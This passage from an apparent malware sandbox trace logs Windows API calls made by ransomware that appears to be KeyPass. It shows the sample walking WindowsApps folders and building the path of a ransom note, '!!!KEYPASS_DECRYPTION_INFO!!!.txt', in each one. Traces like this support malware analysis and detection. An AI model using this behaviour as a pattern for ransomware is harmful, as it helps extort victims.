pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.177] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\MainPageState2\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\MainPageState2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.177] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\MainPageState2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.182] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.182] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.182] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\OptInPopup\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\OptInPopup\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.182] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\OptInPopup\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.182] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.182] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.182] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\PopUp\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\PopUp\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.182] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\PopUp\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.183] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.183] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.183] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\SampleHeader\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\SampleHeader\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.183] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\SampleHeader\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.184] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.184] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.184] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.184] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.189] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.189] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.189] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\StarClub\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\StarClub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.189] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\StarClub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.194] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.194] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.194] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Statistics\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Statistics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.194] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Statistics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.194] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.194] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.194] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Store\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Store\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.194] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Store\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.195] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.195] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.195] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.195] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.196] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.196] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.196] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Themes\\Tiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Themes\\Tiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.196] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Themes\\Tiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.196] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.196] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.196] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Tiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Tiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.196] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\Tiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.203] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.203] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.203] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\XboxControl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\XboxControl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.203] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Assets\\XboxControl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.204] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.204] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.204] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.204] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.204] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.205] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.205] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.205] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.205] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.205] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.205] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.CasualGames\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.CasualGames\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.205] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\Microsoft.CasualGames\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.205] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.206] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.206] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.206] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.207] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.207] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.207] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\MSAdvertisingJS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.207] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.207] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.208] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.208] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.208] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.208] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0290.208] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.208] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.208] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.209] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0290.209] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.209] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.209] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.209] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0290.209] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.209] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.209] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.211] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0290.211] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.211] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\Bin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\Bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.211] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\Bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.216] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0290.216] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.216] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\HLSL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\HLSL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.216] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\SharpDXEngine\\Rendering\\Shaders\\Builtin\\HLSL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.222] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.222] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.222] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\_Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.222] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.1.6103.0_x64__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.223] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0290.223] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.223] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0290.223] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0290.228] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0290.230] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0290.230] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Framework.1.0_1.0.22929.0_x64__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program 